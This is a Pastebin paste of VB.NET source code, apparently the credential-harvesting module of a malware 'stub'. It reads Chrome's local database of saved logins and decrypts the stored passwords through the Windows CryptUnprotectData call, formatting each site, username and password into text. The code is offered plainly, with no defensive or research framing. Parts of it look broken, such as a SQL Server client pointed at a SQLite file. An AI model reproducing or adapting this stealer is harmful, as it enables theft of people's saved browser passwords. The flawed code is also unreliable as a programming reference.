Advertisement
Guest User

Untitled

a guest
Sep 15th, 2017
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.39 KB | None | 0 0
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Text
  4. Imports stub.SQLiteWrapper
  5.  
  6. Public Class Chromer
  7. Public Shared cPass As String
  8. Public Shared Function GetChrome()
  9. Try
  10. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data"
  11. If File.Exists(datapath) Then
  12. Dim SQLconnect As New SqlClient.SqlConnection()
  13. Dim SQLcommand As SqlClient.SqlCommand
  14. SQLconnect.ConnectionString = "Data Source=" + datapath + ";"
  15. SQLconnect.Open()
  16. SQLcommand = SQLconnect.CreateCommand
  17. SQLcommand.CommandText = "SELECT * FROM logins"
  18. Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader()
  19. Dim host, user, pass As String
  20. While SQLreader.Read()
  21. host = SQLreader("origin_url")
  22. user = SQLreader("username_value")
  23. pass = Decrypt(SQLreader("password_value"))
  24. If (user <> "") And (pass <> "") Then
  25. Dim pss As New ListViewItem
  26. pss.Text = host
  27. cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
  28. & vbNewLine & " ")
  29. cPass = Form1.TextBox10.Text
  30. End If
  31. End While
  32. SQLcommand.Dispose()
  33. SQLconnect.Close()
  34. End If
  35. Catch e As Exception
  36.  
  37. End Try
  38. End Function
  39. <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  40. Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  41. End Function
  42. <Flags()> Enum CryptProtectPromptFlags
  43. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  44. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  45. End Enum
  46. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  47. Public cbSize As Integer
  48. Public dwPromptFlags As CryptProtectPromptFlags
  49. Public hwndApp As IntPtr
  50. Public szPrompt As String
  51. End Structure
  52. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  53. Public cbData As Integer
  54. Public pbData As IntPtr
  55. End Structure
  56. Shared Function Decrypt(ByVal Datas() As Byte) As String
  57. Dim inj, Ors As New DATA_BLOB
  58. Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  59. inj.pbData = Ghandle.AddrOfPinnedObject()
  60. inj.cbData = Datas.Length
  61. Ghandle.Free()
  62. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  63. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  64. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  65. Dim TheString As String = Encoding.Default.GetString(Returned)
  66. Return TheString.Substring(0, TheString.Length - 1)
  67. End Function
  68. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement